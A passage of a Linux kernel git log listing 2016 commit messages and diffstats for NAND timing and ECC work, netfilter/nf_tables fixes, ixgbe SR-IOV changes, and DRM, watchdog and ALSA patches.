software BCH with nand_ooblayout_lp_ops layout is used. Other cases should be handled by the NAND controller driver. Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit ba78ee00e1ff84de9b3ad33edbd3ec599099ee82 Author: Boris Brezillon Date: Wed Jun 8 17:04:22 2016 +0200 mtd: nand: Add an option to maximize the ECC strength The generic NAND DT bindings allows one to tweak the ECC strength and step size to their need. It can be used to lower the ECC strength to match a bootloader/firmware config, but might also be used to get a better reliability. In the latter case, the user might want to use the maximum ECC strength without having to explicitly calculate the exact value (this value not only depends on the OOB size, but also on the NAND controller, and can be tricky to extract). Add a generic 'nand-ecc-maximize' DT property and the associated NAND_ECC_MAXIMIZE flag, to let ECC controller drivers select the best ECC strength and step-size on their own. Signed-off-by: Boris Brezillon Acked-by: Rob Herring Documentation/devicetree/bindings/mtd/nand.txt | 9 +++++++++ drivers/mtd/nand/nand_base.c | 3 +++ include/linux/mtd/nand.h | 1 + 3 files changed, 13 insertions(+) commit 8283079696aba905367297cf80287980eb34c14c Author: Sascha Hauer Date: Thu Sep 15 10:32:53 2016 +0200 mtd: nand: mxc: Add timing setup for v2 controllers So far we relied on reset default or the bootloader to configure a suitable clk rate for the Nand controller. This works but we can optimize the timing for better performance. This sets the clk rate for v2 controllers (i.MX25/35) based on the timing mode read from the ONFI parameter page. This may also enable the symmetric mode (aks EDO mode) if necessary which reads one word per clock cycle. Tested on an i.MX25 with a Micron MT29F4G08ABBDAHC attached. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/mxc_nand.c | 84 +++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 82 insertions(+), 2 deletions(-) commit 4123ea34aac754cdbd0a5e482c29be433c311d67 Author: Sascha Hauer Date: Thu Sep 15 10:32:52 2016 +0200 mtd: nand: mxc: implement onfi get/set features To be able to support different ONFI timing modes we have to implement the onfi_set_features and onfi_get_features. Tested on an i.MX25 SoC. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/mxc_nand.c | 55 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) commit 907f45fb9951b0440d832098baeae9162604eb98 Author: Sascha Hauer Date: Thu Sep 15 10:32:51 2016 +0200 mtd: nand: sunxi: switch from manual to automated timing config The NAND framework is now able to select the best NAND timings for us. All we have to do is implement a ->setup_data_interface() function to apply those timings and remove the timing selection code from the sunxi driver. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/sunxi_nand.c | 76 ++++++++----------------------------------- 1 file changed, 14 insertions(+), 62 deletions(-) commit d8e725dd831186a3595036b2b1df9f68cbc6efa3 Author: Boris Brezillon Date: Thu Sep 15 10:32:50 2016 +0200 mtd: nand: automate NAND timings selection The NAND framework provides several helpers to query timing modes supported by a NAND chip, but this implies that all NAND controller drivers have to implement the same timings selection dance. Also currently NAND devices can be resetted at arbitrary places which also resets the timing for ONFI chips to timing mode 0. Provide a common logic to select the best timings based on ONFI or ->onfi_timing_mode_default information. Hook this into nand_reset() to make sure the new timing is applied each time during a reset. NAND controller willing to support timings adjustment should just implement the ->setup_data_interface() method. Signed-off-by: Boris Brezillon Signed-off-by: Sascha Hauer drivers/mtd/nand/nand_base.c | 157 +++++++++++++++++++++++++++++++++++++++++++ include/linux/mtd/nand.h | 14 ++-- 2 files changed, 167 insertions(+), 4 deletions(-) commit 6e1f9708dbf3c50a8da93c1952a01a7a2acb5e66 Author: Sascha Hauer Date: Thu Sep 15 10:32:49 2016 +0200 mtd: nand: Expose data interface for ONFI mode 0 The nand layer will need ONFI mode 0 to use it as timing mode before and right after reset. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_timings.c | 11 +++++++++++ include/linux/mtd/nand.h | 2 ++ 2 files changed, 13 insertions(+) commit b88730ada99bfe243862add360720a3550b0edbf Author: Sascha Hauer Date: Thu Sep 15 10:32:48 2016 +0200 mtd: nand: Add function to convert ONFI mode to data_interface onfi_init_data_interface() initializes a data interface with values from a given ONFI mode. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_timings.c | 29 +++++++++++++++++++++++++++++ include/linux/mtd/nand.h | 5 +++++ 2 files changed, 34 insertions(+) commit b1dd3ca203fccd111926c3f6ac59bf903ec62b05 Author: Sascha Hauer Date: Thu Sep 15 10:32:47 2016 +0200 mtd: nand: convert ONFI mode into data interface struct nand_data_interface is the designated type to pass to the NAND drivers to configure the timing. To simplify further patches convert the onfi_sdr_timings array from type struct nand_sdr_timings nand_data_interface. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_timings.c | 430 +++++++++++++++++++++------------------- 1 file changed, 224 insertions(+), 206 deletions(-) commit eee64b700e26b9bcc6fce024681c31f5e12271fc Author: Sascha Hauer Date: Thu Sep 15 10:32:46 2016 +0200 mtd: nand: Introduce nand_data_interface Currently we have no data structure to fully describe a NAND timing. We only have struct nand_sdr_timings for NAND timings in SDR mode, but nothing for DDR mode and also no container to store both types of timing. This patch adds struct nand_data_interface which stores the timing type and a union of different timings. This can be used to pass to drivers in order to configure the timing. Add kerneldoc for struct nand_sdr_timings while touching it anyway. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon include/linux/mtd/nand.h | 166 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 117 insertions(+), 49 deletions(-) commit 2f94abfe35b210e7711af9202a3dcfc9e779219a Author: Sascha Hauer Date: Thu Sep 15 10:32:45 2016 +0200 mtd: nand: Create a NAND reset function When NAND devices are resetted some initialization may have to be done, like for example they have to be configured for the timing mode that shall be used. To get a common place where this initialization can be implemented create a nand_reset() function. This currently only issues a NAND_CMD_RESET to the NAND device. The places issuing this command manually are replaced with a call to nand_reset(). Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 25 ++++++++++++++++++++----- include/linux/mtd/nand.h | 4 ++++ 2 files changed, 24 insertions(+), 5 deletions(-) commit 79022591839f110f465cac0223e117b91d47d5db Author: Sascha Hauer Date: Wed Sep 7 14:21:42 2016 +0200 mtd: nand: remove unnecessary 'extern' from function declarations 'extern' is not necessary for function declarations. To prevent people from adding the keyword to new declarations remove the existing ones. Signed-off-by: Sascha Hauer Signed-off-by: Boris Brezillon include/linux/mtd/nand.h | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit 87cf40e603e2f5a980f8acf9e9be98178558293c Author: Harvey Hunt Date: Tue Aug 30 15:22:55 2016 +0100 MAINTAINERS: Add maintainer entry for Ingenic JZ4780 NAND driver Signed-off-by: Harvey Hunt Cc: Zubair Lutfullah Kakakhel Cc: linux-mtd@lists.infradead.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Boris Brezillon MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) commit e13f880b901ed4891ab1f07aa38c2932c566f525 Author: Roger Quadros Date: Wed Aug 24 12:25:00 2016 +0300 mtd: nand: Allow MTD_NAND_OMAP2 to be usable on Keystone devices Some Keystone devices (e.g. K2G) include a OMAP NAND IP. Allow the NAND driver to be usable for both Keystone and OMAP devices. Signed-off-by: Roger Quadros Signed-off-by: Boris Brezillon drivers/mtd/nand/Kconfig | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit eab7fdc7bb84040537e4c6da5ad1b55a4bfec6e1 Author: Ray Jui Date: Wed Jul 20 14:53:50 2016 -0700 mtd: brcmnand: iProc big endian and ONFI support This patch adds big endian and ONFI support for various iProc based SoCs that use the core brcmstb NAND controller This patch was originally implemented by Prafulla Kota and fully tested on iProc based NS2 SVK Signed-off-by: Prafulla Kota Signed-off-by: Ray Jui Reviewed-by: Kamal Dasu Acked-by: Kamal Dasu Signed-off-by: Boris Brezillon drivers/mtd/nand/brcmnand/brcmnand.c | 12 ++++++------ drivers/mtd/nand/brcmnand/brcmnand.h | 13 ++++++++----- drivers/mtd/nand/brcmnand/iproc_nand.c | 18 ++++++++++++++---- 3 files changed, 28 insertions(+), 15 deletions(-) commit 10ffd570f11701972aff2a6f91f3d253d6f0e7ee Author: Kyle Roeschley Date: Mon Aug 15 18:22:02 2016 -0500 mtd: nand_bbt: scan for next free bbt block if writing bbt fails If erasing or writing the BBT fails, we should mark the current BBT block as bad and use the BBT descriptor to scan for the next available unused block in the BBT. We should only return a failure if there isn't any space left. Signed-off-by: Kyle Roeschley Suggested-by: Jeff Westfahl Tested-by: Kyle Roeschley Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_bbt.c | 51 +++++++++++++++++++++++++++++++++++++++------ 1 file changed, 45 insertions(+), 6 deletions(-) commit c3baf278d3bf8d628df0b28aa4921c5457d40211 Author: Boris Brezillon Date: Mon Aug 15 18:22:01 2016 -0500 mtd: nand_bbt: Move BBT block selection logic out of write_bbt() This clarifies the write_bbt() function by removing the write label and simplifying the error/exit path. Signed-off-by: Boris Brezillon Tested-by: Kyle Roeschley drivers/mtd/nand/nand_bbt.c | 110 +++++++++++++++++++++++++++++--------------- 1 file changed, 74 insertions(+), 36 deletions(-) commit 57d419a42c501713fd023bc21f8798c14ad4e005 Author: Boris Brezillon Date: Tue Jun 14 16:21:07 2016 +0200 mtd: nand: timings: Reorder tRR_min def in mode 0 In the ONFI spec, the tRR_min entry is defined before the tRST_max one. Reoder the definition to make it easier to review. Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_timings.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 74a332e78e8f0e2b8bef7ebb6b3470bb0df1a0bf Author: Boris Brezillon Date: Tue Jun 14 16:21:06 2016 +0200 mtd: nand: timings: Fix tADL_min for ONFI 4.0 chips ONFI 4.0 spec defines different values for the tADL_min timing. Since we don't want to have different timings depending on the ONFI version, we just set tADL_min to the maximum value (the one specified in the ONFI 4.0 spec). Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_timings.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 1848a057a29f74d2a0517c5123a281002739ba31 Author: Han Xu Date: Tue Apr 12 17:06:33 2016 -0500 mtd: nand: gpmi: get correct free oob space change the way to calculate pagesize to get correct free oob space for legacy_set_geometry function. Signed-off-by: Han Xu Signed-off-by: Boris Brezillon drivers/mtd/nand/gpmi-nand/gpmi-nand.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 3fe4f900bf3061b3994c56eea497d8a839241277 Author: Brian Norris Date: Thu May 5 12:42:44 2016 -0700 mtd: nand: sh_flctl: handle dma_submit() errors Some build tools noticed that 'cookie' is being set but not used. Might as well catch the errors here and handle them the same way we handle other DMA prep steps. Signed-off-by: Brian Norris Signed-off-by: Boris Brezillon drivers/mtd/nand/sh_flctl.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit d9ca77f0eafabb5495542386777ab2833442089b Author: Krzysztof Kozlowski Date: Mon Jun 27 14:51:38 2016 +0200 mtd: nand: s3c2410: Register cpufreq notifier only on S3C24xx The driver registered for CPU frequency transitions to recalculate its clock when ARM clock frequency changes (ratio between frequencies of ARM's parent clock (fclk) and clock for peripherals remains fixed). This is needed only on S3C24xx platform when cpufreq driver is enabled so limit the ifdef to respective cpufreq Kconfig. Suggested-by: Marek Szyprowski Signed-off-by: Krzysztof Kozlowski Signed-off-by: Boris Brezillon drivers/mtd/nand/s3c2410.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fc6b4d12bc394aa9b5c22aa3a2f5128ad6c84a72 Author: Andrey Smirnov Date: Thu Jul 21 14:59:21 2016 -0700 mtd: nand: Get rid of needless 'goto' Using "goto" and "switch" statement only makes it harder to follow control flow and doesn't bring any advantages. Rewrite the code to avoid using "goto". Signed-off-by: Brian Norris Signed-off-by: Andrey Smirnov Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 76fe334f71dd20f7eadd4c624441ec7d1fb92f33 Author: Andrey Smirnov Date: Thu Jul 21 14:59:20 2016 -0700 mtd: nand: Error out if cmd_ctrl() is missing If no user specified chip->select_chip() function is provided, code in nand_base.c will automatically set this hook to nand_select_chip(), which in turn depends on chip->cmd_ctrl() hook being valid. Not providing both of those functions in NAND controller driver (for example by mistake) will result in a bit cryptic segfault. Same is true for chip->cmdfunc(). To avoid the above scenario add a check in nand_scan_dent and error out if cmd_ctrl() is not provided. Suggested-by: Boris Brezillon Suggested-by: Brian Norris Signed-off-by: Andrey Smirnov Signed-off-by: Boris Brezillon drivers/mtd/nand/nand_base.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 75c19e58abaed01ae20ad5802f6a6aa5a255117d Author: Andrey Smirnov Date: Thu Jul 21 14:59:19 2016 -0700 Kconfig: nand: Remove redundant dependency on MTD_NAND Config MTD_NAND_FSL_IFC is already located inside 'if MTD_NAND' statment, so there's no need to explicitly specify it as a dependency. Signed-off-by: Andrey Smirnov Signed-off-by: Boris Brezillon drivers/mtd/nand/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 107896c5889a3f1dc7d985d6a0fdb3a1c0e6e047 Author: Andrey Smirnov Date: Thu Jul 21 14:59:18 2016 -0700 Kconfig: nand: Make MTD_NAND_FSL_ELBC depend on FSL_SOC MTD_NAND_FSL_ELBC selects FSL_LBC that in turn depends on FSL_SOC, so depending on PPC instead of FSL_SOC leads to this message: warning: (MPC836x_RDK && MTD_NAND_FSL_ELBC && MTD_NAND_FSL_UPM) selects FSL_LBC which has unmet direct dependencies (FSL_SOC) when doing make ARCH=powerpc \ CROSS_COMPILE=powerpc-e500v2-linux-gnuspe- \ allmodconfig" Changing dependency to FSL_SOC fixes that. Signed-off-by: Andrey Smirnov Signed-off-by: Boris Brezillon drivers/mtd/nand/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d45bc58dd3bdcaabc1d7d8d9b0b8dee826635cc6 Author: Marc Gonzalez Date: Wed Jul 27 11:23:52 2016 +0200 mtd: nand: import nand_hw_control_init() The code to initialize a struct nand_hw_control is duplicated across several drivers. Factorize it using an inline function. Signed-off-by: Marc Gonzalez Signed-off-by: Boris Brezillon drivers/mtd/nand/bf5xx_nand.c | 3 +-- drivers/mtd/nand/brcmnand/brcmnand.c | 3 +-- drivers/mtd/nand/docg4.c | 3 +-- drivers/mtd/nand/fsl_elbc_nand.c | 3 +-- drivers/mtd/nand/fsl_ifc_nand.c | 3 +-- drivers/mtd/nand/jz4780_nand.c | 3 +-- drivers/mtd/nand/nand_base.c | 3 +-- drivers/mtd/nand/ndfc.c | 3 +-- drivers/mtd/nand/pxa3xx_nand.c | 3 +-- drivers/mtd/nand/qcom_nandc.c | 3 +-- drivers/mtd/nand/s3c2410.c | 3 +-- drivers/mtd/nand/sunxi_nand.c | 3 +-- drivers/mtd/nand/txx9ndfmc.c | 3 +-- include/linux/mtd/nand.h | 7 +++++++ 14 files changed, 20 insertions(+), 26 deletions(-) commit 4004d5c374dabcbce201e16442e4596b764cc60b Author: Pablo Neira Ayuso Date: Tue Sep 20 18:22:46 2016 +0200 netfilter: nft_lookup: remove superfluous element found check We already checked for !found just a bit before: if (!found) { regs->verdict.code = NFT_BREAK; return; } if (found && set->flags & NFT_SET_MAP) ^^^^^ So this redundant check can just go away. Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_lookup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b9d80f83bf8c3485ae53a4f3a715363d764bb0e4 Author: Gao Feng Date: Tue Sep 20 10:31:04 2016 +0800 netfilter: xt_helper: Use sizeof(variable) instead of literal number It's better to use sizeof(info->name)-1 as index to force set the string tail instead of literal number '29'. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_helper.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7bdc66242de7f9cbe8dbb01757042dd18744d800 Author: Gao Feng Date: Sun Sep 18 10:52:25 2016 +0800 netfilter: Enhance the codes used to get random once There are some codes which are used to get one random once in netfilter. We could use net_get_random_once to simplify these codes. Signed-off-by: Gao Feng Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_RATEEST.c | 6 +----- net/netfilter/xt_connlimit.c | 8 +------- net/netfilter/xt_recent.c | 7 ++----- 3 files changed, 4 insertions(+), 17 deletions(-) commit a20877b5edec4d2b62560b5245199af04846476c Author: Liping Zhang Date: Sat Sep 17 14:31:20 2016 +0800 netfilter: nf_tables: check tprot_set first when we use xt.thoff pkt->xt.thoff is not always set properly, but we use it without any check. For payload expr, it will cause wrong results. For nftrace, we may notify the wrong network or transport header to the user space, furthermore, input the following nft rules, warning message will be printed out: # nft add rule arp filter output meta nftrace set 1 WARNING: CPU: 0 PID: 13428 at net/netfilter/nf_tables_trace.c:263 nft_trace_notify+0x4a3/0x5e0 [nf_tables] Call Trace: [] dump_stack+0x63/0x85 [] __warn+0xcb/0xf0 [] warn_slowpath_null+0x1d/0x20 [] nft_trace_notify+0x4a3/0x5e0 [nf_tables] [ ... ] [] nft_do_chain_arp+0x78/0x90 [nf_tables_arp] [] nf_iterate+0x62/0x80 [] nf_hook_slow+0x73/0xd0 [] arp_xmit+0x8f/0xb0 [ ... ] [] arp_solicit+0x106/0x2c0 So before we use pkt->xt.thoff, check the tprot_set first. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_core.c | 5 ++++- net/netfilter/nf_tables_trace.c | 20 +++++++++++--------- net/netfilter/nft_payload.c | 4 ++++ 3 files changed, 19 insertions(+), 10 deletions(-) commit 8dc3c2b86bb16e8f345b80a8af69696e9a7edb65 Author: Liping Zhang Date: Thu Sep 15 21:29:08 2016 +0800 netfilter: nf_tables: improve nft payload fast eval There's an off-by-one issue in nft_payload_fast_eval, skb_tail_pointer and ptr + priv->len all point to the last valid address plus 1. So if they are equal, we can still fetch the valid data. It's unnecessary to fall back to nft_payload_eval. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2462f3f4a7e079192b78f36900c34f18dad824a7 Author: Liping Zhang Date: Thu Sep 15 20:50:16 2016 +0800 netfilter: nf_queue: improve queue range support for bridge family After commit ac2863445686 ("netfilter: bridge: add nf_afinfo to enable queuing to userspace"), we can queue packets to the user space in bridge family. But when the user specify the queue range, packets will be only delivered to the first queue num. Because in nfqueue_hash, we only support ipv4 and ipv6 family. Now add support for bridge family too. Suggested-by: Pablo Neira Ayuso Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_queue.h | 56 ++++++++++++++++++++++++++++++---------- 1 file changed, 43 insertions(+), 13 deletions(-) commit 8061bb54436c19fd16b7c734a69ff60bac26e3e9 Author: Liping Zhang Date: Wed Sep 14 23:41:46 2016 +0800 netfilter: nft_queue: add _SREG_QNUM attr to select the queue number Currently, the user can specify the queue numbers by _QUEUE_NUM and _QUEUE_TOTAL attributes, this is enough in most situations. But acctually, it is not very flexible, for example: tcp dport 80 mapped to queue0 tcp dport 81 mapped to queue1 tcp dport 82 mapped to queue2 In order to do this thing, we must add 3 nft rules, and more mapping meant more rules ... So take one register to select the queue number, then we can add one simple rule to mapping queues, maybe like this: queue num tcp dport map { 80:0, 81:1, 82:2 ... } Florian Westphal also proposed wider usage scenarios: queue num jhash ip saddr . ip daddr mod ... queue num meta cpu ... queue num meta mark ... The last point is how to load a queue number from sreg, although we can use *(u16*)®s->data[reg] to load the queue number, just like nat expr to load its l4port do. But we will cooperate with hash expr, meta cpu, meta mark expr and so on. They all store the result to u32 type, so cast it to u16 pointer and dereference it will generate wrong result in the big endian system. So just keep it simple, we treat queue number as u32 type, although u16 type is already enough. Suggested-by: Pablo Neira Ayuso Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 2 + net/netfilter/nft_queue.c | 102 +++++++++++++++++++++++++++---- 2 files changed, 92 insertions(+), 12 deletions(-) commit 36b701fae12ac763a568037e4e7c96b5727a8b3e Author: Laura Garcia Liebana Date: Wed Sep 14 15:00:02 2016 +0200 netfilter: nf_tables: validate maximum value of u32 netlink attributes Fetch value and validate u32 netlink attribute. This validation is usually required when the u32 netlink attributes are being stored in a field whose size is smaller. This patch revisits 4da449ae1df9 ("netfilter: nft_exthdr: Add size check on u8 nft_exthdr attributes"). Fixes: 96518518cc41 ("netfilter: add nftables") Suggested-by: Pablo Neira Ayuso Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 1 + net/netfilter/nf_tables_api.c | 25 +++++++++++++++++++++++++ net/netfilter/nft_bitwise.c | 8 +++++++- net/netfilter/nft_byteorder.c | 15 +++++++++++++-- net/netfilter/nft_cmp.c | 3 +++ net/netfilter/nft_exthdr.c | 12 +++++++----- net/netfilter/nft_immediate.c | 4 ++++ 7 files changed, 60 insertions(+), 8 deletions(-) commit 0c339bf9ac2eed861d34a9dd40aee2a2d490ec36 Author: Emil Tantilov Date: Fri Sep 9 12:59:10 2016 -0700 ixgbe: reset before SRIOV init to avoid mailbox issues Enabling SRIOV while the ixgbevf driver is loaded will result in all mailbox requests from ixgbevf_open() being rejected by ixgbe because adapter->clear_to_send is set to false on reset. Call ixgbe_sriov_reinit() before pci_enable_sriov() to make sure that mailbox requests are handled from the time ixgbevf is loaded. Reported-by: Andrew Bowers Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_sriov.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit e24fcf28959298e07cae9ee19eb9a4b2b399b4fb Author: Alexander Duyck Date: Wed Sep 7 20:28:24 2016 -0700 ixgbe: Support 4 queue RSS on VFs with 1 or 2 queue RSS on PF Instead of limiting the VFs if we don't use 4 queues for RSS in the PF we can instead just limit the RSS queues used to a power of 2. By doing this we can support use cases where VFs are using more queues than the PF is currently using and can support RSS if so desired. The only limitation on this is that we cannot support 3 queues of RSS in the PF or VF. In either of these cases we should fall back to 2 queues in order to be able to use the power of 2 masking provided by the psrtype register. Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_lib.c | 7 ++++--- drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 12 +++++++----- 2 files changed, 11 insertions(+), 8 deletions(-) commit fa81da7e5b261cf8010f65253661522d3ff71714 Author: Alexander Duyck Date: Wed Sep 7 20:28:17 2016 -0700 ixgbe: Limit reporting of redirection table if SR-IOV is enabled The hardware redirection table can support more queues then the PF currently has when SR-IOV is enabled. In order to account for this use the RSS mask to trim of the bits that are not used. Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_ethtool.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 3b00da03ae303a3bdfa3bdfbb078e0eadb749375 Author: Alexander Duyck Date: Wed Sep 7 20:28:11 2016 -0700 ixgbe: Allow setting multiple queues when SR-IOV is enabled The maximum queue count reported was 1, however support for multiple queues with SR-IOV was added some time ago so we should report support for it to the user so that they can select multiple queues if they so desire. Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_ethtool.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7564a8880a3cf831078a67bffb05c51f34d133eb Author: Mark Rustad Date: Thu Sep 1 13:58:51 2016 -0700 ixgbe: Use MDIO_PRTAD_NONE consistently The value MDIO_PRTAD_NONE should be used to indicate no PHY address. Not 0, not 0xFFFF. Use the MDIO_PRTAD_NONE value consistently. Signed-off-by: Mark Rustad Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_phy.c | 4 ++-- drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 14b22cd9827ad6765a00ca0b267c3cb0353d9c10 Author: Emil Tantilov Date: Mon Aug 29 16:39:28 2016 -0700 ixgbevf: add spinlocks for MTU change calls Protect set_rlpml with mailbox lock to make sure the MTU configuration is handled properly. This change resolves an issue where set_rlpml can fail when the VF interface is brought up: ixgbevf 0000:03:1d.6: Failed to set MTU at 1500 Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbevf/ixgbevf_main.c | 4 ++++ 1 file changed, 4 insertions(+) commit ade3ccf9dc75c94c1557108572d445f0300adead Author: Mark Rustad Date: Fri Aug 26 14:48:33 2016 -0700 ixgbe: Indicate support for pause frames in all cases All the MACs supported by ixgbe support pause frames, so indicate that support in ethtool. Also set advertising according to requested mode. Signed-off-by: Mark Rustad Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_ethtool.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 8fe293aaaa7abd192633cf612065b355a66ed6ad Author: Mark Rustad Date: Fri Aug 26 14:48:28 2016 -0700 ixgbe: Resolve NULL reference by setting {read, write}_reg_mdi Set the read_reg_mdi and write_reg_mdi method pointers for X550EM_A_10G_T devices to resolve jumping to NULL. Signed-off-by: Mark Rustad Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 2 ++ 1 file changed, 2 insertions(+) commit d2d43e5b9fce2c30182dd9b6c63f436ea923a4d9 Author: Emil Tantilov Date: Mon Aug 22 16:28:34 2016 -0700 ixgbe: make ixgbe_led_on/off_t_x550em static These functions are only used in ixgbe_x550.c. Fixes a warning when compiling with -Wmissing-prototypes Reported-by: Krishneil Singh Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_x550.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 691e412132f07bd566934b7cbc430e87c5656de1 Author: Emil Tantilov Date: Mon Aug 22 16:17:46 2016 -0700 ixgbe: simplify the logic for setting VLAN filtering Simplify the logic for setting VLNCTRL.VFE by checking the VMDQ flag and 82598 MAC instead of having to maintain a list of MAC types. Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 39 ++++++++------------------- 1 file changed, 11 insertions(+), 28 deletions(-) commit 226714dc7c6af6d0acee449eb2afce08d128edad Author: Daniel Vetter Date: Fri Sep 23 08:35:25 2016 +0200 drm: Fix plane type uabi breakage Turns out assuming that only stuff in uabi is uabi is a bit naive, and we have a bunch of properties for which the enum values are placed in random headers. A proper fix would be to split out uapi include headers, but meanwhile sprinkle at least some warning over them. Fixes: 532b36712ddf ("drm/doc: Polish for drm_plane.[hc]") Cc: Archit Taneja Cc: Sean Paul Reviewed-by: Jani Nikula Signed-off-by: Daniel Vetter Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474612525-9488-1-git-send-email-daniel.vetter@ffwll.ch include/drm/drm_blend.h | 3 +++ include/drm/drm_plane.h | 19 +++++++++++-------- 2 files changed, 14 insertions(+), 8 deletions(-) commit d2a0015174213cc518b2b83d234c09f548f8ac32 Author: Wolfram Sang Date: Thu Aug 11 23:23:40 2016 +0200 watchdog: pcwd_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/pcwd_usb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit c97344f73fdc35b27c7315c5e7c5decd4ce10467 Author: Guenter Roeck Date: Tue Aug 9 22:35:58 2016 -0700 watchdog: dw_wdt: Read clock rate only once and validate it Coverity reports: divide_by_zero: In expression readl(dw_wdt->regs + 8) / clk_get_rate(dw_wdt->clk), division by expression clk_get_rate(dw_wdt->clk) which may be zero has undefined behavior. The clock used for the watchdog timer won't change its rate, so read it only once during probe. Also validate it and abort the probe function with an error if it is 0. Cc: Douglas Anderson Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/dw_wdt.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 2e91838bf7ffdedabdb29e091207d6531d04ef4f Author: Guenter Roeck Date: Tue Aug 9 22:34:31 2016 -0700 watchdog: core: Fix devres_alloc() allocation size Coverity reports: Passing argument 152UL /* sizeof (*wdd) */ to function __devres_alloc_node and then casting the return value to struct watchdog_device ** is suspicious. Allocation size needs to be sizeof(*rcwdd), not sizeof(*wdd). Fixes: 83fbae5a148c ("watchdog: Add a device managed API for ...") Cc: Neil Armstrong Signed-off-by: Guenter Roeck Acked-by: Neil Armstrong Signed-off-by: Wim Van Sebroeck drivers/watchdog/watchdog_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eb1a74b7bea17eea31915c4f76385cefe69d9795 Author: Anssi Hannula Date: Fri Sep 23 06:43:47 2016 +0300 ALSA: usb-audio: Extend DragonFly dB scale quirk to cover other variants The DragonFly quirk added in 42e3121d90f4 ("ALSA: usb-audio: Add a more accurate volume quirk for AudioQuest DragonFly") applies a custom dB map on the volume control when its range is reported as 0..50 (0 .. 0.2dB). However, there exists at least one other variant (hw v1.0c, as opposed to the 